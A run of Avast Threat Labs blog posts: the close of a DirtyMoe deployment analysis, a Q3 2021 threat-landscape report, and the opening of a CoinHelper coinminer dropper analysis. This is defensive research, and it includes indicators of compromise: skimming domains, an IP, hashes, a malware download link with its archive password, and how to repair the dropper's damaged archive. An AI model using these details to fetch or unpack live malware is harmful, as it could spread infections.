This dropper iterates five IP addresses that are different for each minute, including ports; see Section 2 of the first part of DirtyMoe series. The MSI installer is run for each IP address with parameter \Q, so if the requested remote location is not available or the MSI file does not exist, the installer does not inform the user about the error. The deployment process then runs silently in the background.

The MSI installer sets the system registry defined in Section 2 and copies malicious files to the Windows folder, see Section 3. The subsequent system restart will arrange the code execution of the malicious DLL containing ServiceMain, which Windows starts as the SENS service. Given the complexity of the malicious service, we will return to its detailed description in the following blog post.

Usually, the MSI installer caches installation files in C:\Windows\Installer for future use, such as updating, reinstalling, etc. However, DirtyMoe does not keep the .msi backup file. The installer just creates a hash file about the malware installation. The filename has the form SourceHash{<Product Code>}. The file contains the name of the MSI source package. The most prevalent GUID is equal to: {80395032-1630-4C4B-A997-0A7CCB72C75B}

The MSI Installer Rollback Script cannot remove the malware since deployed files are moved by the SMSS and are out of the MSI Installer scope.

The whole deployment workflow is illustrated in Figure 2.

5. Conclusion

We have introduced the deployment process of the DirtyMoe malware via the MSI Installer that presents an easy way of supporting multiple configurations for various Windows versions. The MSI installer prepares all necessary files and configuration for successful deployment of the malware and also cleans up backup and cache files. However, there are a few symptoms that can reveal the DirtyMoe installations.

After the system reboot, Session Manager overwrites the files representing one of the system services by the malicious DLL file. The system then runs an appropriate service and thereby loads the malicious code, including the default DirtyMoe’s object, as the legitimate service.

All these steps deploy and run DirtyMoe on the victim’s machine. In point of the cyber kill chain, detailed information about DirtyMoe service and further installation actions will be introduced in the future article.

References

[1] Description of the Windows File Protection feature
[2] Purple Fox EK
[3] Security Malware Windows Defender
[4] Enable or Disable Windows File Protection
[5] Split Threshold for svchost.exe in Windows 10
[6] EternalBlue
[7] MoveFileExA function (winbase.h)
[8] Pending FileRename Operations

The post DirtyMoe: Deployment appeared first on Avast Threat Labs.

Latest Avast Q3’21 Threat Report reveals elevated risk for ransomware and RAT attacks, rootkits and exploit kits return.

Foreword

The threat landscape is a fascinating environment that is constantly changing and evolving. What was an unshakeable truth for a long time is no longer valid the next day; the most prevalent threats suddenly disappear, but are usually quickly replaced by at least two new ones; or that the bad guys standing behind these threats always come with new techniques when trying to get their profit.

Together with my colleagues, we came to the conclusion that it would be selfish to keep our insight into this landscape just for ourselves so we decided to start with publishing periodic Avast threat reports. Here, we would like to share with you details about emerging threats, stories behind malware strains and their spreading, and of course stats from our 435M+ endpoints telemetry.

So let us start with the Q3 report, and I must say it was a juicy quarter. To give you a sneak peak of the report: My colleagues published details about an ongoing APT campaign targeting the Mongolian certification authority MonPass. Another novel research was the discovery of the Crackonosh crypto stealer that earned more than $2 million USD to its operators. We were also intently monitoring which botnet will replace the previous kingpin Emotet in Q3. Furthermore, there was a rampant spreading of banking trojans on mobile (especially FluBot) and rootkits on Windows almost doubled their activity in September compared to the previous period. And for me, it started on July 2 at night with the Sodinokibi/REvil ransomware supply chain attack on the Kaseya MSP, it abused Microsoft Defender, there was involvement of world leaders, and precise timing (happening during my threat labs duty – respect to all infosec fellows that were dealing with that on this Independence weekend). As I said – it’s a fascinating environment…

Jakub Křoustek, Malware Research Director

Methodology

This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.

Desktop

Advanced Persistent Threats (APTs)

In Q3 of 2021, we saw APT activity on several fronts: continued attacks against Certificate Authorities (CAs), the Gamaredon group targeting military and government targets, and campaigns in Southeast Asia.

Certificate Authorities (CAs) are always of increased interest to APT groups for multiple reasons. By their very nature CAs have a high level of trust, they often provide services to the government organisations or being a part of one themselves, making them a perfect target for supply chain attacks. A well-known example was the targeting of the Vietnam Government Certification Authority in 2020. In Q3 Avast also wrote about activity targeting the Mongolian CA MonPass.

At the very beginning of Q3, Avast researchers discovered and published a story about an installer downloaded from the official website of Monpass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. 

A public web server hosted by Monpass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. The MonPass client available for download from 8 February 2021 until 3 March 20 2021 was backdoored. Adversaries used steganography to decrypt and implant Cobalt Strike beacons.

Additionally during the last few months we’ve seen an increased activity of the Gamaredon group primarily in Ukraine. The main targets of the group remain military and government institutions. The group keeps utilizing old techniques it’s been using for years in addition to a few new tools in their arsenal. Malware associated with Gamaredon was among the most prevalent between APT groups we tracked in this quarter.

Groups operating in Southeast and East Asia were active during this period as well. We’ve seen multiple campaigns in Myanmar, Philippines, Hong Kong and Taiwan. The majority of the actors in the region can be identified as Chinese-speaking groups. Technique of choice among these groups remains sideloading. We’ve seen samples with main functionality to search for potential candidates for sideloading on a victim’s machine, so they are not going to abandon this technique anytime soon.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Michal Salát, Threat Intelligence Director

Bots

Old botnets still haven’t said their last word. After Emotet’s takedown at the start of 2021, Trickbot has been aspiring to become its successor. Moreover, despite numerous takedown attempts, Trickbot is still thriving. Qakbot came up with a rare change in its internal payload which brought restructured resources. As for Ursnif (aka Gozi), the activity in Q3 kept its usual pace – with new webinjects and new builds being continuously released. However, Ursnif’s targets remain largely the same – European, and especially Italian, banks and other financial organisations. Surprisingly, Phorpiex seemed to maintain its presence, even though its source code has been reported to be on sale in August. This is especially true for Afghanistan, Turkmenistan, and Yemen where Phorpiex is especially prolific, significantly contributing to their above-average risk ratio.

Below is a heatmap showing the distribution of botnets that we observed in Q3 2021.

The IoT and Linux bot landscape is a wild west, as usual. We are still seeing many Gafgyt and Mirai samples trying to exploit their way onto various devices. The trend of these families borrowing the code from each other still continues, so while we sometimes see samples being worthy of being called a new strain, many samples continue to blur the line between Gafgyt and Mirai strains. We expect this trend to continue – both strains have their source code available, and the demand for DDoS does not lessen. Due to their popularity, the source code is also often used by technically less proficient adversaries, partially explaining the latter trend of code reuse.

Q3’s surprise has been the MyKings botnet which has had quite a profitable campaign. Their cryptoswapper campaign has managed to amass approximately 25 million dollars in Bitcoin, Ethereum and Dogecoin.

Changes in malware distribution methods

In Q3 2021, we saw a shift in bot and RAT distribution. Threat actors are finding new ways of abusing third party infrastructure. While we have previously seen various cloud storages (e.g. OneDrive) or Pastebin, we are also seeing more creative means such as Google’s feedproxy.google.com for C&C URLs or Discord’s CDN as a distribution channel. This makes it easier for them to avoid reputation services meant to combat malware distribution, though at the cost that their channels may get disrupted by the service provider. Since we’ve already seen communication platforms such as Discord or Telegram being also abused for exfiltration or as C&C, we can expect this trend to spread to other similar automation-friendly services.

Adolf Středa, Malware Researcher 

Infrastructure as a service for malware

It seems that infrastructure as a service for malware and botnets is on the rise by using commodity routers and IoT devices. Threat actors realized that it’s far easier to misuse these devices as a proxy to hide malicious activity than crafting specific malware for such a variety of architectures and devices. It also seems that we are witnessing botnets of enslaved devices being sold as a service to various threat actors. 

In Q2 and Q3, we’ve seen a new campaign dubbed Mēris. This campaign attacked Mikrotik routers, already known to be problematic since 2018, for DDoS attacks against Yandex servers. Further analysis showed that this attack had been just one of the campaigns run through the MikroTik botnet as a service providing anonymizing proxies. It turned out that the botnet consisted of approximately 200K of enslaved devices with an opened SOCKS proxy being ready for hire on darknet forums. It’s believed that this actor has been controlling this botnet since 2018. Moreover, there are ties to Glupteba and coin mining campaigns in 2018. Although most of the botnet has been taken down, the original culprit and vulnerabilities in the Mikrotik routers seem to be still open. The attack vector is notoriously well-known and is common for most of the IoT and router devices: unpatched firmware and default credentials. We’ll inevitably see more of this trend in the future.

Below is a heatmap showing the prevalence of unpatched Mikrotik routers in Q3 2021.

Martin Hron, Malware Researcher

Coinminers

Coinminers are malware that hijacks resources of infected PCs to mine cryptocurrency and send its profit directly to the attacker while the electricity bill is left for the victim. The number of users attacked by coinminers has actually stayed steady or even lowered some in Q3 2021 compared to the beginning of the year as shown below.

It is possible that this stagnant or even lowering threat trend is due to the prices of cryptocurrencies. The prices of Bitcoin, Etherum and Monero were on the low end from the end of May until the end of July. Q3 saw a significant sell-off of Bitcoin especially in response to increased signals that the Chinese government would move to regulate cryptocurrency. As a consequence the number of coinmining attacks we saw in Q3 were low and we did not observe any new threats. 

The most prevalent mining software used in coinminers was still XMRig (28%). The geological distribution of coinminers is almost the same as in Q2 as shown below.

It is hard to estimate how much the attackers obtained by mining, because they usually use untraceable cryptocurrency such as Monero. But we have some pieces of the puzzle. We were able to track some payments for Crackonosh malware. Our analysis shows that it was able to mine over $2 million USD since 2018. Crackonosh represents just about 2% of all coinminer attacks we see in our userbase. Crackonosh is packed with cracked copies of popular games, it uses Windows Safe Mode to uninstall antimalware software (note that Avast users are protected against this tactic) and then it installs XMRig to mine Monero.

Daniel Beneš, Malware Researcher

Ransomware

Q3 was a thrilling quarter from the ransomware perspective. One can almost get used to newspaper headlines about ransomware breaches and attacks on large companies on a daily basis (e.g. Olympus and Newcoop attacks by BlackMatter ransomware), but at the same time, we witnessed a huge supply chain attack not seen for a while, involvement of state leaders in addressing it and much more.

Overall, Q3 ransomware attacks were 5% higher than in Q2 and even 22% higher than in Q1 2021.

At the very beginning of Q3 (July 2), we spotted an attack of the Sodinokibi/REvil ransomware delivered via a supply chain attack on Kaseya MSP. The impact was massive – more than 1,500 businesses were targeted. Also other parts of the attack were fascinating. This particular cybercriminal group used the DLL sideloading vulnerability of Microsoft Defender for delivery of the target payload, which could have confused some security solutions. We’ve seen abuse of this particular Defender application already in May 2020. Overall, we’ve noticed and blocked this attack on more than 2.4k endpoints based on our telemetry. The story of this attack continued over Q3 with involvement of presidents Joe Biden and Vladimir Putin resulting in ransomware operators releasing the decryption key, which helped with unlocking files of affected victims. It gave us one more clue for the attribution of the origin of this (R)evil. After the release of the decryption key, Sodinokibi went silent for almost two months – their infrastructure went down, no new variants were seen in the wild, etc. However, it was us who detected (and blocked) its latest variant on September 9. This story evolved in November, but let’s keep it for the Q4 report.

However, Sodinokibi was only one piece of the ransomware threat landscape puzzle in Q3. The top spreading strains overall were:

• STOP/Djvu – often spread via infected pirated software
• WannaCry – the one and only, still spreading after four years via the EternalBlue exploit
• CrySiS – also spreading for a long time via hacked RDP
• Sodinokibi/REvil
• Various strains derived from open-source ransomware (HiddenTear, Go-ransomware, etc.)

Furthermore, there were multiple active strains focused on targeted attacks on businesses, such as BlackMatter (previously DarkSide) and various ransomware strains from the Evil Corp group (e.g. Grief) and Conti.

The heat map below shows the risk ratio of users protected against ransomware Q3 2021.

As shown below the distribution of ransomware attacks was very similar to previous quarters except for a 600% increase in Sweden that was primarily caused by the aforementioned Kaseya supply chain attack.

The number of protected users by ransomware attacks was highest in July, and it decreased slightly in August and September. 

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

Unlike ransomware, RAT campaigns are not as prevalent in newspaper headlines because of their very secretive nature. Ransomware needs to let you know that it is present on the infected system but RATs try to stay stealthy and just silently spy on their victims. The less visible they are the better for the threat actors. 

In Q3, three new RAT variants were brought to our attention. Among these new RATs were FatalRAT with its anti-VM capabilities, VBA RAT which was exploiting the Internet Explorer vulnerability CVE-2021-26411, and finally a new version of Reverse RAT with build number 2.0 which added web camera photo taking, file stealing and anti-AV capabilities.

But these new Remote Access Trojans haven’t drastically changed representation of RAT type in the wild yet.

We saw an  elevated risk ratio for RATs in many countries all over the world. In particular, we had to protect more users in countries such as Russia, Singapore, Bulgaria or Turkey where RAT attacks were elevated this quarter. 

In the heat map below, we can see the risk ratio for RATs globally in Q3 2021. 

Out of all users attacked by RATs in Q3, 19% were attacked by njRAT (also known as Bladabindi). njRat has been spreading since 2012 and it owes its popularity to the fact that it was open sourced a long time ago and many different variants were built on top of its source written in VB.NET. After njRAT, the most prevalent RAT strains were: 

• Remcos ‒ 11%
• AsyncRat ‒ 10%
• NanoCore ‒ 9%
• Warzone ‒ 6%
• QuasarRAT ‒ 5%
• NetWire ‒ 5%
• DarkComet ‒ 4%

What made these RATs so popular and what was the reason they spread the most? The answer is simple, all of them were either open-sourced or cracked and that helped their popularity especially among less sophisticated script-kiddie attackers and among users of many hacking forums where they were often shared. njRat, Remcos, AsyncRat, NanoCore and QuasarRat were open-sourced and the rest was cracked. From this list only Warzone had a working paid subscription model from its original developer. Attackers used these RATs especially for industry espionage, credentials theft, stalking and with many infected computers, even DDOS.

Samuel Sidor, Malware Researcher

Rootkits

A rootkit is malicious software designed to give unauthorized access with the highest system privileges. Rootkits commonly provide services to other malware in the user mode. It typically includes functionality such as concealing malware processes, files and registry entries. In general, the rootkits have total control over a system they operate in the kernel layer, including modifying critical kernel structures. Rootkits are still popular techniques to hide malicious activity despite a high risk of being detected because the rootkits work in the kernel mode, and each critical bug can lead to BSoD.

We have recorded a significant increase in rootkit activity at the end of Q3, illustrated in the chart below. While we can’t be sure what’s behind this increase, this is one of the most significant increases in activity in Q3 2021 and is worth watching. It also underscores that defenders should be aware that rootkits, which have been out of the spotlight in recent years, remain a threat and in fact are increasing once again.

The graph below demonstrates that China and adjacent administrative areas (Macao, Taiwan, Hong Kong) are the most risk counties from the point of view of protected users in Q3 of 2021.

In Q3, we have also become interested in analyzing the code-signing of a rootkit driver, which protects the malicious activity of a complex and modularized malicious backdoor utilizing sophisticated C&C communication, self-protection mechanisms, and a wide variety of modules performing various suspicious tasks, called DirtyMoe focusing on the Monero mining.

This research has led us to the issue of signing windows drivers with revoked certificates. There have been identified 3 revoked certificates that sign the DirtyMoe rootkit and also sign other rootkits. Most users have been attacked in Russia (40%), China (20%), and Ukraine (10%).

Martin Chlumecký, Malware Researcher

Information Stealers

In Q3, we’ve seen a steady increase in numbers of various information stealers as can be seen on the daily spreading chart below.

The risk ratio of this threat is globally high and similar across the majority of countries worldwide with peaks in Africa and the Middle East.

One of such stealers is a clipboard stealer, distributed by a notorious botnet called MyKings, that focuses on swapping victim’s cryptocurrency wallet addresses present in their clipboard with an attacker’s address. When the victim copies data into their clipboard, the malware tries to find a specific pattern in the content of the clipboard (such as a web page link or a format of cryptocurrency wallet) and if it is found, the content is replaced with the attackers’ information. Using this simple technique, the victim thinks for instance they pasted their friend’s cryptowallet address while the attacker changed the address in the meantime to their own, effectively redirecting the money.

MyKings also changes two kinds of links when present in the victim’s clipboard – Steam trade offer links and Yandex Disk storage links. This way, the attacker changes the Steam trade offer from the victim to himself, thus giving the trade over to the attacker who pockets the money. Furthermore, when the user wants to share a file via Yandex Disk storage cloud service, the web link is changed with a malicious one – leading the victim to download further malware because there is no reason to suspect the link is malicious when received from a friend.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) as of 2021-10-05 in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute this amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity. In addition to the aforementioned amounts, the clipboard stealer also focuses on more than 20 different cryptocurrencies, further leveraging the popularity of the cryptocurrency world. In Q3, MyKings was most active in Russia, Pakistan, and India.

Furthermore, Blustealer is a new and emerging stealer first seen at the beginning of Q3 and spiked in activities around 10-11 September. Primarily distributed through phishing emails, Blustealer is capable of stealing credentials stored in web browsers and crypto wallet data, hijacking crypto wallet addresses in clipboard, as well as uploading document files. The current version of Blustealer uses SMTP (email) and Telegram (Bot API) for data exfiltration.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher
Anh Ho, Malware Researcher

Technical support scams

Tech support scam (or TSS in short) is a big business and the people behind it use a number of techniques to try and convince you that you need their help. Most of the techniques these websites use are aimed at making your browser and system seem broken.

This topic became very popular on Youtube and TikTok as it attracted the attention of “scambaiters” – a type of vigilante who disrupts, exposes or even scams the world’s scammers.

We’ve seen a growing trend of TSS attacks with its peak at the end of August as shown below..

Overall we can see the distribution of  TSS attacks globally in Q3 2021 below.

We’ve divided these fraudsters into groups according to geography and similar attack patterns. These groupings can include multiple fraud groups that use the same tool, or use similar browser locking methods. The following table represents the unique hits for each group.

The most prevalent group in Q3 2021, called GR2 by us, typically targets mostly European countries, such as Russia, France, Ukraine, or Spain. These countries also had a high TSS risk ratio overall together with Iceland, Uzbekistan, and Rwanda.

We can see how GR2 was the most active TSS group and had its peak in mid-July.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q3 has seen plenty of newly discovered vulnerabilities. Of particular interest was PrintNightmare, a vulnerability in the Windows Print Spooler, which allowed for both local privilege escalation (LPE) and remote code execution (RCE) exploits. A Proof of Concept (PoC) exploit for PrintNightmare got leaked early on, which resulted in us seeing a lot of exploitation attempts by various threat actors. PrintNightmare was even integrated into exploit kits such as PurpleFox, Magnitude, and Underminer. 

Another vulnerability worth mentioning is CVE-2021-40444. This vulnerability can either be used to create malicious Microsoft Office documents (which can execute malicious code even without the need to enable macros) or it can be exploited directly against Internet Explorer. We have seen both exploitation methods used in-the-wild, with a lot of activity detected shortly after the vulnerability became public in  September 2021. One of the first exploit attempts we detected was against an undisclosed military target, which proves yet again that advanced attackers waste no time weaponizing promising vulnerabilities once they become public.

We’ve also been tracking exploit kit activity throughout Q3. The most active exploit kit was PurpleFox, against which we protected over 6k users per day on average. Rig and Magnitude were also prevalent throughout the whole quarter. The Underminer exploit kit woke up after a long period of inactivity and started sporadically serving HiddenBee and Amadey. Even though it might seem that exploit kits are becoming a thing of the past, we’ve witnessed that some exploit kits (especially PurpleFox and Magnitude) are being very actively developed, regularly receiving new features and exploitation capabilities. We’ve even devoted a whole blog post to the recent updates in Magnitude. Since that blog post, Magnitude continued to innovate and most interestingly was even testing exploits against Chromium-based browsers. We’ll see if this is the beginning of a new trend or just a failed experiment.

Overall, Avast users from Singapore, Czechia, Myanmar, Hong Kong and Yemen had the highest risk ratio for exploits, as can be seen on the following map.

The risk ratio for exploits was growing in Q3 with its peak in September.

Michal Salát, Threat Intelligence Director
Jan Vojtěšek, Malware Researcher

Web skimming 

Ecommerce websites are much more popular than they used to be, people tend to shop online more and more often. This led to the growth of an attack called web skimming. 

Web skimming is a type of attack on ecommerce websites in which an attacker inserts malicious code into a legitimate website. The purpose of the malicious code is to steal payment details on the client side at the moment the customer fills in their details in the payment form. These payment details are usually sent to the attacker’s server. To make the data flow to a third-party resource less visible, fraudsters often register domains resembling the names of popular web services like google-analytics, mastercard, paypal and others.

The map below shows that users from Australia, the United States, Canada, Brazil and Argentina were most at risk in Q3. Of the smaller countries, we can see Guatemala and Slovenia at the top. The high risk ratio in Guatemala was caused by an infected eshop elduendemall[.]com. 

Top two malicious domains used by attackers were webadstracker[.]com and ganalitics[.]com. Webadstracker[.]com was blocked by Avast from 2021-03-04 and was active from then for the whole Q3. It indicates that unlike phishing sites, which are active usually for a couple of days, web skimming domains can be active much longer. Webadstracker[.]com is hosted on Flowspec, which is known as one of the bulletproof hosting providers. From all web skimming incidents we observed, 8.6% were on this domain. With this domain, we can link other domains on the same IP, which was also used for web skimming attacks in Q3:

• webscriptcdn[.]com
• cdncontainer[.]com
• cdnforplugins[.]com
• shoppersbaycdn[.]com
• hottrackcdn[.]com
• secure4d[.]net

We were able to link this IP (176.121.14.143) with 75 infected eshops. Lfg[.]com[.]br was the top ecommerce website infected with webadstracker[.]com was in Q3.

Pavlína Kopecká, Malware Analyst

Mobile

Open Firebase instances

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform. In our study we discovered that more than 10% of about 180,000 tested Firebase instances, used by Android apps, were open. The reason is a misconfiguration, made by application developers. Some of these DBs exposed sensitive data, including plaintext passwords, chat messages etc. These open instances pose a significant risk of users’ data leakage. Unfortunately, ordinary users can’t check if DB used by an application is misconfigured, moreover it can become open at any moment.

Vladimir Martyanov, Malware Researcher

Adware

Adware continues to be a dominant threat on Android. This category may take various forms – from traditional aggressive advertising on either legitimate or even fake applications to completely fake applications that, while installed with an original purpose of stopping adware, end up doing exactly the opposite and bombard the user with out-of-context ads (for example FakeAdBlocker).

The degree to which the aggressive advertisement is shown to the user – either in app or out-of-context very negatively affects the user’s experience, not to mention that in the case of out-of-context ads the user has a very difficult time of actually locating the source of such spam.

A special category in this regard is the so called Fleeceware, which we have been observing both on iOS and Android already for quite some time, this type of threat is still present in Q3 in the official marketplaces and users should be aware of such techniques so that they can actively avoid falling for it.

Ondřej David, Malware Analysis Team Lead

Bankers – FluBot

We have seen a steady increase in the number of mobile banking threats for a while now, but none more than in Q3 2021. This can be best evidenced on a strain called FluBot – while this strain has been active since Q1/Q2, we’ve seen it make a couple of rounds since then. By Q3 it became an established threat in the Android banking threat landscape. 

Its advanced and highly sophisticated spreading mechanisms – using SMS messages typically posing as delivery services to lure the victims into downloading a “tracking app” for a parcel they recently missed or should be expecting – as well as the relentless campaigns account for a successful strain in the field. But even these phishing SMS messages (aka. smishing) have evolved and especially in Q3 we have seen novel scenarios in spreading this malware. One example is posing as voicemail recorders. Another is fake claims of leaked personal photos. The most extreme of these variants would then even lure the victim to a fake page that would claim  the victim has already been infected by FluBot when they probably weren’t yet and trick them into installing a “cure” for the “infection”. This “cure” would in fact be the FluBot malware itself. 

We have seen a steady expansion of the scope where FluBot operated throughout Q2 and mainly Q3, where initially it was targeting Europe – Spain, Italy, Germany, later spreading throughout the rest of Europe, but it didn’t end there. In Q3 we’ve seen advisories being posted in many other countries, including countries like Australia and New Zealand. This threat affects only Android devices – iOS users may still occasionally receive the phishing SMS messages, but the malware would not be able to infect the device.

The heat map below shows the spread of Flubot in Q3 2021 and the graph shows the increase in Flubot infections in that same time period.

Ondřej David, Malware Analysis Team Lead

Pegasus

Perhaps the most discussed mobile threat in Q3 was the infamous Pegasus spyware. Developed by Israeli’s NSO Group this threat targeted primarily iOS device users with known Android variants as well. Due to the usage of zero-click vulnerabilities in the iMessage application the attackers were able to infect the device without any user interaction necessary. This makes it a particularly tricky and sophisticated threat to deal with. Fortunately for the majority of the users this type of attack is unlikely to be used on a mass scale, but rather in a highly targeted manner against high profile or high value targets

Acting as a full blown spyware suite, Pegasus is capable of tracking location, calls, messages and many other personal data. Pegasus as a strain is not exactly new, its roots go deep into history as far back as at least 2016. The threat as well as its distribution methods have changed significantly since the early days however. For a successful stealthy distribution of this threat the malicious actors needed to keep finding vulnerabilities in the ever updating OS or default apps that could be used as a way to infect the device – ranging from remote jailbreaks to the latest versions utilizing zero-click exploits.

Best protection against this type of threat is to keep your mobile device’s operating system updated to the latest version and have all the latest security updates installed.

Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

The post Avast Q3’21 Threat Report appeared first on Avast Threat Labs.

In the first posting of this series, we looked at a clipboard stealer belonging to the MyKings botnet. In this second part of the blog series, we will discuss in detail a very prevalent malware family of AutoIt droppers, that we call CoinHelper, used in a massive coinmining campaign. Since the beginning of 2021, Avast has protected more than 125,000 users worldwide from this threat. CoinHelper is mostly bundled with cracked software installers such as WinRAR and game cheats.

Regarding game cheats, we’ve seen this bundling with some of the most popular and famous games out there including (but not limited to): Extrim and Anxious (Counter-Strike Global Offensive cheats), Cyberpunk 2077 Trainer (Cyberpunk 2077 cheat), PUBG and CoD cheats, and Minecraft. We’ve also found this threat inside a Windows 11 ISO image from unofficial sources (as we indicated on Twitter). We have even seen this threat bundled with clean software such as Logitech drivers for webcams. All in all, we have seen CoinHelper bundled with more than 2,700 different software so far, including games, game cheats, security software, utilities, clean and malware applications alike.

Our research brought us to this because we have seen a spread of these droppers via MyKings’ clipboard stealer payload as well, as described in our previous part of the blog post series. Nevertheless we can’t attribute CoinHelper to MyKings botnet, on the contrary based on the number of different sources of infection, we believe that CoinHelper used MyKings’ clipboard stealer as an additional system of malware delivery.

We have found some mentions of these AutoIt droppers in other blog posts from last year. One of the most notable instances was detailed by Trend Micro, describing a sample of the AutoIt dropper bundled with Zoom communicator (downloaded from an unofficial source) which happened in the early days of the COVID-19 pandemic when millions of new users were flocking to Zoom. Another instance is in a post from Cybereason mentioning a new dropper for XMRig miners.

In this blog post, we analyze the latest version of CoinHelper in detail, discuss the malware campaign, describe all its components as well as research into what applications are most often bundled with the malware and show how the malware spreads. We also outline some of the data harvesting that it performs on infected systems to map the infected victims.

Campaign overview

Since the beginning of 2020, we have seen more than 220,000 attempts to infect our users with CoinHelper, most of them being in Russia (83,000). The second most targeted country is Ukraine with more than 42,000 attacked users.

Monetary gain

One of the primary goals of CoinHelper is to drop a crypto miner on the infected machine and use the resources (electricity and computing power) of the victim’s computer to generate money for the attackers through mining.

Even though we observed that multiple crypto currencies, including Ethereum or Bitcoin, were mined, there was one particular that stood out – Monero. From the total of 377 crypto wallet addresses we extracted from the malware, 311 of them mined Monero through crypto mining pools. The reasons for criminals to choose Monero are quite obvious. Firstly, this cryptocurrency was created and designed to be private and anonymous. This means that tracing the transactions, owners of the accounts or even amounts of money that were stolen and/or mined can be quite difficult. Secondly, this cryptocurrency has a good value at this time – you can exchange 1 XMR  for ~$240 USD (as of 2021-11-29) 

Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to look more into the Monero mining operation of the malware authors and find out more about how much money they were able to gain.

To ensure more regular income, the miners were configured to use Monero mining pools. Mining pools are often used by miners to create one big and powerful node of computing power that works together to find a suitable hash and collect a reward for it. Because the search for the suitable hash is random, the more guesses you make, the bigger your chance to be successful. In the end, when the pool receives a reward, the money is split between the members of the pool depending on their share of work. Usage of the pools is very convenient for malware authors, specifically because pools work with a limited time. This is helpful for malware authors because it gives them a greater chance to successfully mine cryptocurrency in the limited time they have before their miners are discovered and eradicated.

In total we registered 311 Monero addresses used in the configuration of miners dropped by the AutoIts. These addresses were used in more than 15 different Monero mining pools whereas our data and research confirm that the mining campaign is even bigger and a lot of the addresses were used across multiple pools. After diving more into the data that the pools offer, we are able to confirm that as of 2021-11-29 the authors gained more than 1,216 XMR solely by crypto mining, which translates into over $290,000 USD. 

Apart from the Monero addresses, we also registered 54 Bitcoin addresses and 5 Ethereum addresses. After looking at these addresses we can conclude that these addresses received following amounts of money:

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency	Number of wallets
Monero	$292,006.08	1,216.692 [XMR]	311
Bitcoin	$46,245.37	0.796 [BTC]	54
Ethereum	$1,443.41	0.327 [ETH]	5

This makes total monetary gain of this malware 339,694.86 USD as of 2021-11-29. The amounts from the table above are total incomes of the Bitcoin and Ethereum wallets, so we can’t exclude the possibility that some part of money comes from other activities than mining, but we assume that even those activities would be malicious. As can be seen from the data we collected, the major focus of this campaign is on mining Monero, where attackers used ~5 times more wallet addresses and gained ~6 times more money.

Technical analysis

Dropping the payload

Let’s continue straight away where we left off in the previous part. As we learned, the clipboard stealer could swap copy+pasted wallet addresses in the victim’s clipboard, as well as swap other links and information depending on the malware’s configuration. One of these links was https://yadi[.]sk/d/cQrSKI0591KwOg.

After downloading and unpacking the archive (with a password gh2018), a new sample Launcher.exe is dropped (c1a4565052f27a8191676afc9db9bfb79881d0a5111f75f68b35c4da5be1f385). Note that this approach is very specific for the MyKings clipboard stealer and requires user’s interaction. In other, and most common, cases the user obtains a whole bundled installer from the internet, unintentionally executing the AutoIt during the installation of the expected software.

This sample is the first stage of a compiled AutoIt script, a dropper that we call CoinHelper, which provides all necessary persistence, injections, checking for security software along the way, and of course downloading additional malware onto the infected machine.

Although this sample contains almost all of the latest functionality of these AutoIt droppers, it is not the latest version and some of their features are missing. For that reason, we decided to take a newer (but very similar) version of the dropper with a SHA 83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf instead and describe thoroughly all of the functionalities in one place.

Overview of the infection chain

Exploring the first stage

Let’s dive into the newer sample. This one is usually downloaded with a name start.exe on users’ machines and holds a Google Chrome icon. Upon a closer look, it is apparent that this is a compiled AutoIt binary.

After extracting the AutoIt script from the sample we can see additional components:

• asacpiex.dll
• CL_Debug_Log.txt
• glue\ChromeSetup.exe

CL_Debug_Log.txt is a clean standalone executable of 7zip and asacpiex.dll is a damaged (modified) 7zip archive carrying the second stage of the malware. Soon, we will fix this archive and look inside as well, but first, let’s focus on the extracted AutoIt script. The last binary from the list above, placed in the glue folder, is one of the many possibilities of the bundled apps inside CoinHelper. In this case, we witness a clean setup installer of the Chrome browser. If you are interested in seeing what other applications are usually bundled with CoinHelper, see Bundled apps overview for details.

Rude welcome

The AutoIt script is actually very readable. Well, perhaps even too much, looking at the vulgarity in the beginning. Note that Region / EndRegion is SciTE text editor’s feature to mark code regions. In this case, however, the script starts with the EndRegion clausule and some well known AutoIt decompilers, such as Exe2Aut (v0.10), struggle very much with this and are unable to decompile the script, effectively displaying just the rude welcome. Note that myAut2Exe (v2.12) for example has no issues with the decompilation.

We can also see here the beginning of the malware’s configuration, first checking for the existence of a mutex QPRZ3bWvXh (function called _singleton), followed by scheduled task configuration. As shown in the code above, the SystemCheck scheduled task presents itself as a Helper.exe application from Microsoft. However, Microsoft doesn’t provide any tool with such a name. The scheduled task is used for executing the malware, persistently.

The modification of the asacpiex.dll archive was done by nulling out the first five bytes of the file which can be easily restored to reflect the usual 7zip archive header: 37 7A BC AF 27. The script is replacing even more bytes, but that is not necessary.

Before we dive into the contents extracted from the archive (a keen eye already spotted that the password is JDQJndnqwdnqw2139dn21n3b312idDQDB), let’s focus on the rest of this script. We will continue with the unpacking of asacpiex.dll in the Exploring the second stage section.

In the code above, we also see that ChromeSetup.exe is placed into the glue folder. This folder (sometimes called differently, e.g. new) contains the original application with which the malware was bundled together. In our analysis we are showing here, this is a clean installer of the Chrome browser that is also executed at this stage to preserve the expected behavior of the whole bundle.

We encountered many different applications bundled with CoinHelper. Research regarding these bundles is provided in a standalone subsection Bundled apps overview.

Mapping the victims

In addition to fixing the damaged archive, executing the second stage, and ensuring persistence, the first stage holds one additional functionality that is quite simple, but effective.

